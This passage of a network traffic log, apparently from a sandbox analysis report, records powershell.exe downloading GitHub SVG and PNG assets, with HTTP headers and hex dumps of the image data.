2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 7c e6 3d f5 39 47 ed 25 8b a9 5c 28 15 98 95 da 26 58 81 58 5c da b4 a1 de 56 fa 13 fc 6e 34 c5 8d 7c 42 21 87 a6 90 ad 98 bc ad d7 bf 52 82 dd df 88 56 ff 3b d6 3f 89 49 da 17 ce d8 6e 71 7d fb 2d 4c 2e bf 96 2b 3e 0a 15 df f9 17 58 2c d2 cd 75 0f 4e 2b aa 6b 1e b4 25 c0 4a 11 d4 e5 bc a5 16 57 c2 7b af 08 df 3a e0 a6 a5 70 d1 e5 d9 d9 e5 1c 78 e7 d6 14 44 c2 58 af 25 f5 66 71 26 9c 16 4b a6 f8 5c 2e 8d c0 88 99 4a 62 2f 68 b9 0d dc e2 12 1b 6b 22 51 5a ce 24 9b d5 1a 8f c5 79 05 94 6b e2 9a 39 71 6d 20 55 3a 82 36 da 26 ed 2b cf 40 e6 e8 2b 71 99 b3 bd e8 69 69 18 da 70 b9 8c 66 a3 1a 1f ad d0 8c 18 09 3f f9 0c ad ae ce 81 c4 85 1e 76 04 c9 16 35 fe cf f8 9f e9 ef 16 1c 17 a8 16 55 e7 2f 9f 7d 2b 8b c5 63 31 b9 f4 45 65 c0 63 b3 b8 cc c9 b5 67 2f b5 de Data Ascii: \|=9G%\(&XX\Vn4\|B!RV;?Inq}-L.+>X,uN+k%JW{:pxDX%fq&K\.Jb/hk"QZ$yk9qm U:6&+@+qiipf?v5U/}+c1Eecg/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49808	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:52 UTC	358	OUT	GET /assets/shape-3-9e542b5c31b8.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:52 UTC	665	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1594 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Thu, 08 Aug 2024 18:12:08 GMT ETag: "0x8DCB7D59E027B71" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:52 GMT Age: 2964471 X-Served-By: cache-iad-kcgs7200101-IAD, cache-ewr-kewr1740041-EWR X-Cache: HIT, HIT X-Cache-Hits: 18976, 5 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 41a2a111aa74c4eeb81df85871f699e6ec945f57
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 35 30 34 22 20 68 65 69 67 68 74 3d 22 37 33 37 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 30 34 20 37 33 37 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 33 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 39 32 2e 31 32 20 34 39 32 2e 34 34 35 4c 34 39 32 2e 34 30 34 20 32 34 35 2e 38 32 31 4c 33 34 33 2e 34 39 38 20 32 34 35 2e 36 35 33 43 33 33 30 2e 37 38 20 32 34 35 2e 36 33 39 20 33 31 38 2e 31 39 20 32 34 33 2e 31 31 39 20 33 30 36 2e 34 34 36 20 32 33 38 2e 32 33 39 43 32 39 34 2e 37 30 32 20 32 33 33 2e 33 35 39 20 32 38 34 2e 30 33 35 20 32 32 36 2e 32 31 33 20 32 37 Data Ascii: <svg width="504" height="737" viewBox="0 0 504 737" fill="none" xmlns="http://www.w3.org/2000/svg"><g opacity="0.3"><path d="M492.12 492.445L492.404 245.821L343.498 245.653C330.78 245.639 318.19 243.119 306.446 238.239C294.702 233.359 284.035 226.213 27
2024-09-30 13:50:52 UTC	216	IN	Data Raw: 35 35 34 22 20 63 79 3d 22 32 30 37 2e 33 37 39 22 20 72 78 3d 22 31 31 2e 34 39 31 22 20 72 79 3d 22 31 31 2e 34 39 31 22 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 2f 3e 0a 3c 65 6c 6c 69 70 73 65 20 63 78 3d 22 34 39 32 2e 33 35 36 22 20 63 79 3d 22 34 36 32 2e 30 32 22 20 72 78 3d 22 31 31 2e 34 39 31 22 20 72 79 3d 22 31 31 2e 34 39 31 22 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 2f 3e 0a 3c 65 6c 6c 69 70 73 65 20 63 78 3d 22 32 30 38 2e 32 39 38 22 20 63 79 3d 22 37 30 33 2e 37 39 31 22 20 72 78 3d 22 31 31 2e 34 39 31 22 20 72 79 3d 22 31 31 2e 34 39 31 22 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 2f 3e 0a 3c 2f 67 3e 0a 3c 2f 73 76 67 3e 0a Data Ascii: 554" cy="207.379" rx="11.491" ry="11.491" fill="white"/><ellipse cx="492.356" cy="462.02" rx="11.491" ry="11.491" fill="white"/><ellipse cx="208.298" cy="703.791" rx="11.491" ry="11.491" fill="white"/></g></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	49807	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:52 UTC	373	OUT	GET /assets/illu-secret-scanning-2-88fb429376d6.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:52 UTC	661	IN	HTTP/1.1 200 OK Connection: close Content-Length: 37410 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D5974E1AD1" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1727091 Date: Mon, 30 Sep 2024 13:50:52 GMT X-Served-By: cache-iad-kiad7000071-IAD, cache-nyc-kteb1890035-NYC X-Cache: HIT, HIT X-Cache-Hits: 2453, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 6a8828b51f3ee905ca5ceb38b41bdfe990e41e6b
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b8 00 00 03 24 08 03 00 00 00 8c 78 69 d2 00 00 02 f1 50 4c 54 45 00 00 00 42 4a 53 24 28 30 3e 46 4e 3e 45 4e 3c 44 4d 3d 44 4c 3a 41 4a 3c 43 4c 46 4d 55 42 4a 53 42 4b 54 43 4b 53 43 4a 53 4c 46 4d 36 3d 45 38 3f 47 3a 41 49 39 40 49 43 49 52 42 4a 53 41 49 52 42 4a 53 24 29 2f 24 29 2f 5c 37 39 dd 58 4f 38 3f 47 24 29 30 69 3a 3b 44 4c 56 83 92 ad 33 3a 41 ff ff ff 42 4a 53 47 32 36 55 36 38 26 2a 31 2b 31 37 27 2c 32 28 2d 33 fb dd db cd 54 4d 33 37 3d 7c 3f 3f 2d 33 3a 80 8f a9 36 3c 46 2f 36 3e e4 79 72 2a 2f 36 28 2e 35 2c 31 39 35 39 3f 3f 46 52 55 59 5e 39 3f 4a 52 57 5c 31 36 3b 2f 34 39 23 2b 33 2e 34 3c 50 59 67 fa d9 d7 23 38 50 23 36 4c 22 4c 7c 3c 44 4f f1 ce 61 48 51 5e 72 7f 96 35 Data Ascii: PNGIHDR$xiPLTEBJS$(0>FN>EN<DM=DL:AJ<CLFMUBJSBKTCKSCJSLFM6=E8?G:AI9@ICIRBJSAIRBJS$)/$)/\79XO8?G$)0i:;DLV3:ABJSG26U68&1+17',2(-3TM37=\|??-3:6<F/6>yr/6(.5,1959??FRUY^9?JRW\16;/49#+3.4<PYg#8P#6L"L\|<DOaHQ^r5
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: f4 cb c1 4f 5f 6e db 0d 05 50 4f 62 e7 54 b8 1a fd fb 7d 9c a6 59 3e ff a2 a5 6e 16 8e 82 e7 65 9a c6 9b 51 55 a9 79 31 d0 4a 6b 93 4d db 0a a0 9e c4 ce a9 70 f9 93 d5 6a b7 c9 13 2f 7a 69 69 a1 6b e2 43 92 ee f6 89 67 92 b5 16 fa a9 77 e8 68 29 48 d3 85 02 a8 29 b1 73 2a 5c f7 ab d5 34 e8 fa 83 dc 24 3d 2d 74 4d 14 6e 5f 66 bd c1 24 f2 ee aa 94 4d 4c de d6 d2 9d b7 0f 14 40 4d 89 9d 53 e1 0a cd a6 cc 52 23 48 bc 27 2d 74 8d 49 3e 35 54 75 f8 68 36 5d 2d 8c bc b4 a9 85 9b 47 f3 ad a3 00 6a 4a ce ec dd ff 87 eb c1 c4 73 ad 4c 57 45 a7 aa 70 7d 6d 69 e9 6e b5 5f 6b 39 d9 9a 83 16 66 cb b4 a7 00 ea 4a ec 5c 0a d7 dc ec 66 5a 59 44 fb a6 96 e1 f2 c6 5a 19 47 bb 2a 54 9d 3b b3 ef 14 9f 17 6f f7 45 01 d4 95 d8 b9 14 ae 7b 13 6f 26 95 ad 17 f6 b4 0c d7 ea b3 56 Data Ascii: O_nPObT}Y>neQUy1JkMpj/ziikCgwh)H)s\4$=-tMn_f$ML@MSR#H'-tI>5Tuh6]-GjJsLWEp}min_k9fJ\fZYDZGT;oE{o&V
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: 1c 25 fd 7c 30 84 e3 e4 00 6d 42 40 02 4c 81 29 87 4b 21 34 72 a3 74 60 f2 2f 1d 8f f0 bb 29 f5 b7 27 a2 94 fa 3c 5c 72 8c 53 9e b4 71 8c a8 0a 85 52 b8 1c 8f d1 61 c7 20 9e eb 46 54 e6 59 b4 3c 0b f2 bd db 89 36 a0 d4 c3 c8 a5 05 19 04 a1 e6 a4 6a 35 09 d7 eb ef 6f 1a 70 c1 70 7d ea 87 9d c2 74 d4 02 ae 14 2e 6d 54 3e 31 59 0f c2 7e c6 07 d9 74 3d 58 66 70 14 c1 68 93 00 3f 8a 7f 12 2e 6b 85 0a b6 4b 58 40 e4 19 1e f0 bb 6d 5b e6 27 70 7e 00 cf ac 75 b8 c8 02 5b b0 a6 78 31 1d 43 a1 14 ae 19 62 3c d8 f2 d3 05 ca e1 60 60 40 21 42 29 09 d8 24 26 90 33 62 b4 85 07 20 08 35 27 fd 63 cf 79 b8 4e 77 c1 70 0d a7 9d 30 c9 b2 49 bf 13 4e 54 e0 0e c2 f5 3e c9 4f cc f3 13 61 38 51 a0 30 0f 3b 49 d6 fe 38 99 76 fa cd cd 92 e5 bc 75 33 9f 76 a6 43 38 42 b1 10 82 23 Data Ascii: %\|0mB@L)K!4rt`/)'<\rSqRa FTY<6j5opp}t.mT>1Y~t=Xfph?.kKX@m['p~u[x1Cb<``@!B)$&3b 5'cyNwp0INT>Oa8Q0;I8vu3vC8B#
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: cd c7 ef cf 1b ca e9 51 3c 8c fd 45 39 1c 56 a7 e0 2f 32 1f 80 e7 80 4a b8 e0 2a 72 fd 83 27 f8 3f e2 5d 73 96 c3 94 45 14 c1 8e 16 ee c5 d3 fe 3d 04 62 3c a2 2a 42 9d 58 cc 5a 16 49 ca a8 e1 71 8a 11 c0 d8 12 fe 16 36 8f f4 96 90 11 14 29 b3 b0 d9 41 2d 59 69 91 ac 36 e3 19 17 17 2e 0d d9 26 49 52 b7 a0 af b5 c1 c7 1b d3 a4 98 59 6c e6 60 06 56 b5 58 ca ab 62 24 e0 01 97 cd e0 6f 62 e0 9c c9 8a ad 8a 20 98 b1 0d 6e a1 89 3b 2e 10 ad c5 8b 18 5d 89 e4 c8 e9 34 73 24 e2 3a fd 7c 75 c0 e7 57 dd 1d 22 71 01 fc db 61 1a d0 e1 91 43 8e bf 86 34 ec 9e f6 fc e0 11 a5 3a fc 50 66 19 8a 0b 23 7e f5 76 b6 d5 54 08 ce 02 e2 05 14 11 a3 4d 96 16 03 56 85 83 5d 8c e1 b2 1d 2e 1d 00 0d 30 96 7a 73 9a 63 a4 f8 48 b5 e1 a0 b8 80 9b c2 e5 e9 9e 93 92 b8 34 63 64 61 85 11 Data Ascii: Q<E9V/2Jr'?]sE=b<BXZIq6)A-Yi6.&IRYl`VXb$ob n;.]4s$:\|uW"qaC4:Pf#~vTMV].0zscH4cda
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: 53 43 17 af 67 9f 46 a8 8b 6a 65 cb da 24 d4 8b 63 97 92 4d 20 4d 36 84 99 65 05 43 a1 8f 48 46 02 16 86 68 50 dd 5e 94 b4 91 70 52 11 d7 2c 79 ac 69 5f 1a c5 30 f0 7c c0 27 23 ac 93 2a 92 31 60 dc 4d e9 f6 f9 d9 39 a1 0c 65 70 37 9e ec 41 49 67 a1 27 26 71 21 61 97 d0 c6 ea 42 03 6e b7 31 23 1b 4d 91 5e 81 62 65 e9 31 52 06 22 0c 3e 8a e7 b9 e0 c5 4b 84 41 eb 76 82 0c 45 53 e2 51 d6 69 c5 47 19 e7 57 f2 19 89 09 95 91 d0 7c 44 e6 c0 1b e5 17 c4 7c 92 f8 57 4d 28 43 0b e9 e0 d5 16 23 7b a3 fc 44 97 6a 68 f0 05 b9 47 a1 b1 4c 26 78 ef dc 59 ca d6 b9 79 f3 ba 55 7c 29 70 7d b8 b8 ba fe 00 db c5 2f f0 fa 4b 80 6b 76 c6 75 ee ec 9d f3 d7 cb 19 b4 5c 00 8d ce 0e 66 ef ce 0f 9d 23 78 df 83 0b a0 e4 9c c2 96 50 80 eb f4 0c 05 9f 70 70 39 ef f9 27 cf 05 d7 76 79 Data Ascii: SCgFje$cM M6eCHFhP^pR,yi_0\|'#*1`M9ep7AIg'&q!aBn1#M^be1R">KAvESQiGW\|D\|WM(C#{DjhGL&xYyU\|)p}/Kkvu\f#xPpp9'vy
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: be 2a f1 20 3d 80 f6 dd e0 aa 49 6e f7 31 19 3b c0 85 5c 30 26 4b 9e 52 31 60 94 13 43 c7 73 b8 22 9d c4 6a 90 36 9a 80 4b 65 34 99 50 89 79 89 b2 13 5c 36 cc 67 3a 01 17 5c 56 34 c4 6f 00 33 b0 6c 3e 38 d6 bc 7e 7f f9 6c 70 ad 98 d7 05 24 36 89 db e5 bd f5 0a ae 17 05 17 ee 19 af fe f9 35 c1 75 e8 5c f7 cd 9f 7a 70 cd de e3 c9 17 e8 ab e0 82 ff 4e 67 8f 82 eb ef b7 7b 63 5d 3c 30 10 e0 ba 77 6e 38 bd 60 0f 80 7a 0c 5c 3e eb 56 cd 63 e0 d2 4a 79 22 a2 15 b8 a8 26 9a 82 2b 27 e1 aa 88 bd 78 33 b7 71 f9 c6 63 7f d3 95 cd a6 1f a9 f1 74 a1 25 9d 41 80 3f 6b fa 1e f1 f0 b7 49 d0 53 15 57 5f bd 95 4f 56 5c 76 4d 36 0a 4a f2 aa 8c 24 b2 63 0f 6c e0 d5 a5 d9 94 e5 ae 9b e9 63 70 45 2d 92 12 65 b7 40 dd dd e0 ca 18 b6 23 b8 b0 5b 2d 2a 3c d7 6d 9a b2 2c 7c 1b 23 Data Ascii: * =In1;\0&KR1`Cs"j6Ke4Py\6g:\V4o3l>8~lp$65u\zpNg{c]<0wn8`z\>VcJy"&+'x3qct%A?kISW_OV\vM6J$clcpE-e@#[-*<m,\|#
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: 51 81 a6 f0 3f ac ec 66 e8 a7 75 72 b8 2b 92 23 b8 30 25 36 db ae b3 90 d7 87 27 e7 27 3a 2c 19 ec 82 cb 8d a8 07 36 0c d6 ac 58 98 8b 66 7b 7b 16 58 b0 56 f9 94 c9 f9 80 cc e2 e1 74 88 13 82 0b 17 14 6f 7f 94 13 5c 67 3a 39 ff 81 1b b2 40 60 87 b8 81 cb 1b fe e9 e7 eb 35 4e 73 1d 02 d7 e8 ea f5 d7 bb c7 4d ce 1f 0b 2e 35 a4 d1 a4 0f 5c b0 7b 90 55 2c 51 05 3b 44 3f b8 1c 00 57 6c b6 76 08 a9 b1 43 04 0a 84 70 ad 62 5d 9c 77 41 ab b8 d4 bc 51 08 f5 5c b4 36 e4 93 7e 70 75 65 68 54 07 f6 f4 db 21 0a 92 ec 42 20 a8 d6 23 8d 03 5d 67 24 44 47 70 b5 3f 00 56 bb 2d 21 31 fa c1 c5 14 1c 2a 77 c1 25 e9 0a 83 84 fa c3 14 12 9a 9c 05 d5 26 8f 07 17 c6 82 93 01 5c a7 05 d7 c3 0f e0 d6 d9 82 eb d5 f5 f4 0d bc 00 13 7d 6b 40 85 bd 40 97 10 2a 1d 04 d7 db cb f5 97 8f Data Ascii: Q?fur+#0%6'':,6Xf{{XVto\g:9@`5NsM.5\{U,Q;D?WlvCpb]wAQ\6~puehT!B #]g$DGp?V-!1w%&\}k@@
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: f2 42 5f 86 b5 f7 8b 69 a2 aa 5b 60 44 da 91 a7 89 78 30 2c 2d d8 f9 18 aa cc 02 57 ac 66 59 b6 35 6e 13 42 9e 50 84 56 bb ee 9a 88 3d a0 d6 2d f1 a0 14 ec 48 04 21 4a f6 bc 9d ff 26 d6 3c 59 c4 32 b6 c4 59 08 c6 7a a8 18 ea 45 c9 89 c6 c4 32 84 be f7 a1 5e 4f 5b 74 c7 8e 4e 9b 03 3f c9 34 cb 18 c0 f5 e7 c0 f5 3f 3f e5 e7 e2 ed 3d 3c 38 e3 af 49 04 57 bf 54 17 9e f2 d0 a7 89 0d 4f 93 10 53 7e 7d 0f 3c 8c 42 90 61 f3 14 63 fc 34 f9 72 2a fb e3 67 97 cf db da 7d 7c 06 76 52 b7 d7 8c f1 b3 cb 2f bb 7e fc 17 35 80 6b 00 d7 29 35 3c 9e 6c d0 00 ae 3d 1a c0 75 ee 1a c0 35 e8 78 0d 8f e0 1f c0 75 62 bd 1c c8 35 e8 11 dc 7a 39 fa b7 f5 a2 5f 03 b8 ce 5d 17 0f 2f 07 0d 3a 56 0f a3 7f 5c 3f d9 ad 63 1b 00 61 18 00 82 2e 90 52 52 d0 40 cd 88 ec c2 12 2c c9 06 ae a2 Data Ascii: B_i[`Dx0,-WfY5nBPV=-H!J&<Y2YzE2^O[tN?4??=<8IWTOS~}<Bac4r*g}\|vR/~5k)5<l=u5xub5z9_]/:V\?ca.RR@,
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: 1a 46 f2 0c 8e 94 36 0c a3 00 27 bb 28 95 72 69 78 29 85 f0 45 31 a6 1e 2d de 6b 08 57 ba 54 2c fe 62 c0 a9 32 eb c1 60 56 82 23 2d 07 83 41 3d 05 27 49 35 86 83 20 18 fc 02 2f a5 48 2f 0a 18 53 8f 16 ef ff 1e 2e dd 98 ce 56 2e f2 06 d3 92 0e bb 1a c3 d9 6c 56 cb c2 a1 4a ed 44 62 52 85 23 d5 13 89 c4 22 0b a7 48 dd 79 73 9c c5 b1 e1 a5 b4 70 ba 21 30 a6 1e 2d de ff 3d 5c 55 df 4c 6c f5 ec dd 70 e8 23 7a 6c 52 81 58 b9 7c 3e 2f 0e f9 52 b8 ba f9 7c 31 03 cf 78 91 70 35 1c 9c 63 3e e9 15 e1 65 70 b8 98 ba b4 78 6a 86 eb e3 d5 a7 df 3f 5d a5 e1 64 d3 b2 99 88 78 35 03 1e 65 82 04 99 42 ac b5 e3 b8 1b 31 8c 0f d7 85 ef 38 5e 0b 9e f1 22 e1 a2 d2 ae 6a 4b fb 02 5e 06 87 8b a9 4b 8b a7 64 b8 6e 7e 7b f7 e6 cd bb f7 7f 7e 80 13 d9 6e 02 b9 ed d1 68 e1 85 a3 69 Data Ascii: F6'(rix)E1-kWT,b2`V#-A='I5 /H/S.V.lVJDbR#"Hysp!0-=\ULlp#zlRX\|>/R\|1xp5c>epxj?]dx5eB18^"jK^Kdn~{~nhi
2024-09-30 13:50:52 UTC	1378	IN	Data Raw: 52 58 b8 98 15 57 15 48 12 87 6e 55 be 8b 85 01 a4 6b 71 b8 98 a2 b4 af ec 87 1f 4f 09 d7 e5 6f b8 e0 ba 82 ad df 69 f9 95 86 23 35 9f 0f 57 dd 94 65 2a ba b8 10 29 e0 e0 b0 70 cd 6d 31 9e c6 85 eb 16 bb b1 b2 41 e8 e3 91 75 10 e1 f2 67 f4 15 b2 22 a7 70 f0 81 f3 6a 88 3a b8 01 11 2e 39 ed 72 12 13 ae 30 56 10 cd d3 af 3c 1f 2e 4f 4e d2 13 e1 ba b5 68 db 06 08 43 0e 17 53 94 16 4f b1 70 85 0b ae 14 6c dd fc 8a 4b ae 2b 38 52 5b 44 27 72 27 b7 47 84 0d 70 8a 34 28 50 58 96 38 38 2c 5c 4e 5e 8c 5b 71 e1 aa e2 4c fd 06 08 0b d9 24 0a 97 43 17 ae 64 d1 ce 6a f4 80 27 b8 72 ba 75 94 5a db 8b 09 d7 f0 f1 9b aa 58 b9 ad de 3e 1f ae d5 7e b8 aa 2b 3c cc 06 e1 8e c3 c5 14 a5 7d 55 14 ae 6f e1 68 14 aa f7 3b a1 d2 69 4b c4 e7 4b 38 0e 7d bc 07 17 10 d9 6c bf 89 55 Data Ascii: RXWHnUkqOoi#5We*)pm1Aug"pj:.9r0V<.ONhCSOplK+8R[D'r'Gp4(PX88,\N^[qL$Cdj'ruZX>~+<}Uoh;iKK8}lU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	49810	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:53 UTC	377	OUT	GET /assets/git-branch-collaboration-2-e46b1fb1d363.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:53 UTC	704	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3388 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Content-MD5: QleqauHNCyDdBE4N8hRkQQ== Last-Modified: Wed, 14 Aug 2024 20:00:30 GMT ETag: "0x8DCBC9BC020173C" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:53 GMT Age: 1755952 X-Served-By: cache-iad-kiad7000095-IAD, cache-ewr-kewr1740025-EWR X-Cache: HIT, HIT X-Cache-Hits: 25852, 4 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 0d227deef083f2f066313b8808a29d045e56d0c3
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 38 37 22 20 68 65 69 67 68 74 3d 22 34 38 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 37 20 34 38 36 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 2e 30 30 30 32 36 20 30 2e 31 34 30 36 32 35 4c 32 2e 30 30 30 31 34 20 33 33 2e 36 35 39 34 43 32 2e 30 30 30 30 35 20 36 31 2e 31 34 35 34 20 31 32 2e 33 35 34 32 20 38 37 2e 36 32 32 37 20 33 31 2e 30 30 30 31 20 31 30 37 2e 38 31 37 56 31 30 37 2e 38 31 37 43 34 39 2e 36 34 35 38 20 31 32 38 2e 30 31 31 20 36 30 20 31 35 34 2e 34 38 39 20 36 30 20 31 38 31 2e 39 37 34 56 33 30 31 2e 38 30 35 43 36 30 20 33 32 39 2e 35 39 31 20 34 Data Ascii: <svg width="87" height="486" viewBox="0 0 87 486" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M2.00026 0.140625L2.00014 33.6594C2.00005 61.1454 12.3542 87.6227 31.0001 107.817V107.817C49.6458 128.011 60 154.489 60 181.974V301.805C60 329.591 4
2024-09-30 13:50:53 UTC	1378	IN	Data Raw: 68 61 64 6f 77 5f 31 37 38 5f 34 30 36 30 31 22 2f 3e 0a 3c 66 65 43 6f 6c 6f 72 4d 61 74 72 69 78 20 69 6e 3d 22 53 6f 75 72 63 65 41 6c 70 68 61 22 20 74 79 70 65 3d 22 6d 61 74 72 69 78 22 20 76 61 6c 75 65 73 3d 22 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 31 32 37 20 30 22 20 72 65 73 75 6c 74 3d 22 68 61 72 64 41 6c 70 68 61 22 2f 3e 0a 3c 66 65 4f 66 66 73 65 74 2f 3e 0a 3c 66 65 47 61 75 73 73 69 61 6e 42 6c 75 72 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 31 30 22 2f 3e 0a 3c 66 65 43 6f 6d 70 6f 73 69 74 65 20 69 6e 32 3d 22 68 61 72 64 41 6c 70 68 61 22 20 6f 70 65 72 61 74 6f 72 3d 22 6f 75 74 22 2f 3e 0a 3c 66 65 43 6f 6c 6f 72 4d 61 74 72 69 78 20 74 79 70 65 3d 22 6d 61 74 Data Ascii: hadow_178_40601"/><feColorMatrix in="SourceAlpha" type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0" result="hardAlpha"/><feOffset/><feGaussianBlur stdDeviation="10"/><feComposite in2="hardAlpha" operator="out"/><feColorMatrix type="mat
2024-09-30 13:50:53 UTC	632	IN	Data Raw: 20 78 31 3d 22 32 34 22 20 79 31 3d 22 30 2e 31 34 30 36 32 35 22 20 78 32 3d 22 32 32 2e 35 22 20 79 32 3d 22 34 38 35 2e 31 34 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 30 35 31 35 37 34 32 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 37 37 38 42 41 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 30 22 20 73 74 79 6c 65 3d 22 73 74 6f 70 2d 63 6f 6c 6f 72 3a 6e 6f 6e 65 3b 73 74 6f 70 2d 63 6f 6c 6f 72 3a 6e 6f 6e 65 3b 73 74 6f 70 2d 6f 70 61 63 69 74 79 3a 30 3b 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 32 32 35 39 39 32 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 37 37 38 42 41 22 20 73 74 79 6c 65 3d 22 73 74 6f 70 Data Ascii: x1="24" y1="0.140625" x2="22.5" y2="485.141" gradientUnits="userSpaceOnUse"><stop offset="0.0515742" stop-color="#F778BA" stop-opacity="0" style="stop-color:none;stop-color:none;stop-opacity:0;"/><stop offset="0.225992" stop-color="#F778BA" style="stop

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	49809	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:53 UTC	364	OUT	GET /assets/issues-plan-2-46d1ce1d4519.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
